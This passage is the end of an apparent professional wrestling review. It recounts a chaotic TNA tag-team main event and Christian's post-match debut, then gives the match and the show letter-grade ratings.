Storm misses a beer bottle shot and we’re FINALLY getting back to ringside together. D-Von hits Harris with the bell and Ray uses a cheese grater on Storm IN THE RING. Harris is busted now. Here’s a table but Harris moves it to keep Storm from going through it. The referee is totally cool with all this stuff. Ray takes a cheese grater to the balls. Rhyno is on the stage and hits Jarrett with a garbage can.

The table gets moved again to keep Harris safe and there’s a LOUD chair shot that we only hear. Rhyno drags a table up to the stage as we’re ten minutes into this match. Rhyno throws the table upside down and then piledrives Jarrett on the stage rather than on the table. The table gets set up in front of the tunnel and after he hits Storm, he charges….right into the superkick from Storm.

I think we have a normal match now with Storm vs. D-Von. It only took them 12 minutes. Catatonic is countered into a reverse inverted DDT for two. Storm comes in (no tag, the villain) for a reverse tornado DDT. Bubba Bomb gets two on Storm but the one to Jarrett is blocked with a low blow. Stroke gets two. Rhyno comes in from nowhere to Gore Jarrett but Harris pulls the referee out. AMW crotches Rhyno on the post and hits a double spinebuster on Ray. Hart Attack gets two on D-Von. Ray breaks up a Death Sentence through the table and a 3D pins Storm.

Rating: C. I have no idea what to call this. They were in the ring about 2 minutes out of nearly 16 so you can barely call this a match. As a fight it wasn’t bad, but at the end of the day, what does this mean? Team 3D wouldn’t get the titles until April of 2007 so it didn’t mean much for them. This was a throwaway main event but it certainly wasn’t boring.

Jarrett hits Rhyno with a guitar post match so the Dudleys set up a table. After getting a fresh one, Gail tries to hit Bubba low. Bubba blocks that and sets to powerbomb Gail through Jarrett through the table. Team Canada comes in for the save and puts D-Von on the table. Jarrett goes up top but Christian comes in with a chair.

He unzips his jacket to reveal a Team Canada shirt. D’Amore hugs him and gets pulled into an Unprettier. Jarrett gets slammed off the top and takes a 3D through the table (with the Dudleys doing a double flapjack and Christian doing the cutter for some reason). Christian reveals a TNA shirt to end the show.

Overall Rating: C-. This wasn’t a bad show at all but it wasn’t that memorable. Christian debuting is by far and away the biggest thing here, but other than that, nothing really happens here. No titles changed hands, partially because only one was defended. The main event should have just been Jarrett vs. Rhyno II and let Jeff get the belt back here. It’s not a bad show, but it’s not one that you would ever need to see again.

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